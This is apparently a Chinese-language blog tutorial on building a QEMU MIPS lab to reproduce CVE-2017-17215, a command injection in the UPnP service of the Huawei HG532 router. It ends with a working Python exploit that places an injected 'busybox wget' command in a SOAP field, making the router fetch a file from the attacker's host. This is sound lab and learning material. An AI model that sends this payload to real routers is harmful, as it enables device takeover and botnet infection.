banner
azio7

azio7

email
github

从CVE-2017-17215入门学习qemu路由器固件虚拟机环境搭建

基本信息#

2017.11.27 Check Point 团队报告华为 HG532 产品的远程命令执行漏洞 (CVE-2017-17215),Mirai 的升级版变种中已经使用该漏洞。 华为 HG532 是一款小型家用和办公用户打造的告诉无线路由器。该漏洞 payload 由蜜罐所捕获发现。利用原理是利用 upnp 服务中的注入漏洞实现任意命令执行。
分析环境是 archlinux
固件下载地址可以在CVE-2017-17215-HG532 命令注入漏洞分析这篇文章找到,下载链接
binwalk 解压(需要安装 squashfs-tools)

binwalk -Me HG532eV100R001C01B020_upgrade_packet.bin

漏洞点位于 UPnP 服务中,file 命令看一下 unpn 二进制文件,可以看到 upnp 应该是跑在 MIPS 32 位大端
image

配置 qemu 环境并复现漏洞#

archlinux 安装 qemu:

sudo pacman -S qemu-full qemu-user-static

网络环境配置使用 qemu 自带的 qemu-bridge-helper 桥接,相关细节在QEMU-Archwiki中的 6.3.3
首先向/etc/qemu/bridge.conf添加一行allow br0
确保/etc/qemu/的文件权限是 755
然后像这样启动 qemu

$ qemu-system-x86_64 -nic bridge [...]

可以这样指定 bridge

$ qemu-system-x86_64 -nic bridge,br=br1,model=virtio-net-pci [...]

https://people.debian.org/~aurel32/qemu/mips/下载对应的 debian mips qemu 镜像
下载 debian_squeeze_mips_standard.qcow2 和 vmlinux-2.6.32-5-4kc-malta

启动脚本 run_qemu.sh:
#!/bin/bash
ip link add name br0 type bridge
ip link set dev br0 up
ip addr add 192.168.123.1/24 dev br0
qemu-system-mips -M malta
-kernel debian/vmlinux-2.6.32-5-4kc-malta
-hda debian/debian_squeeze_mips_standard.qcow2
-append "root=/dev/sda1 console=tty0"
-nic bridge
ip link set dev br0 down
ip link del name br0 type bridge
$ sudo ./run_qemu.sh
root/root 登录
image
默认 eth0 接口没有设置 ip
image
使用命令添加 ip

$ ip addr add 192.168.123.2/24 dev eth0

然后顺利 ping 通,ssh 连接

$ ssh -oHostKeyAlgorithms=+ssh-rsa [email protected]

传输 squashfs-root

$ tar -cvf squashfs-root.tar squashfs-root/
$ scp -r -oHostKeyAlgorithms=+ssh-rsa ./squashfs-root.tar [email protected]:/root/

在虚拟机上解压

$ tar -xvf squashfs-root.tar

chroot 切换根目录

$ chroot /root/squashfs-root /bin/sh

运行漏洞点 upnp 服务

$ /bin/upnp
$ /bin/mic

mic 执行到这里时会修改网卡配置,ssh 断连
image
在 qemu 的终端重新快速添加 ip 信息,ssh 恢复连接

$ ip addr add 192.168.123.2/24 dev eth0

nmap 显示 upnp 服务端口已打开
image
宿主机 nc 监听 80 端口

$ sudo ncat -lk 80

执行 exp.py:

import requests

headers = {
    "Authorization": "Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669"
}

data = '''<?xml version="1.0" ?>
 <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
  <s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1">
   <NewStatusURL>;/bin/busybox wget -g 192.168.123.1 -l /tmp/1;</NewStatusURL>
   <NewDownloadURL>HUAWEIUPNP</NewDownloadURL>
  </u:Upgrade>
 </s:Body>
</s:Envelope>
'''
requests.post('http://192.168.123.2:37215/ctrlt/DeviceUpgrade_1',headers=headers,data=data)

nc 收到回应
image

加载中...
此页面数据所有权由区块链加密技术和智能合约保障仅归创作者所有。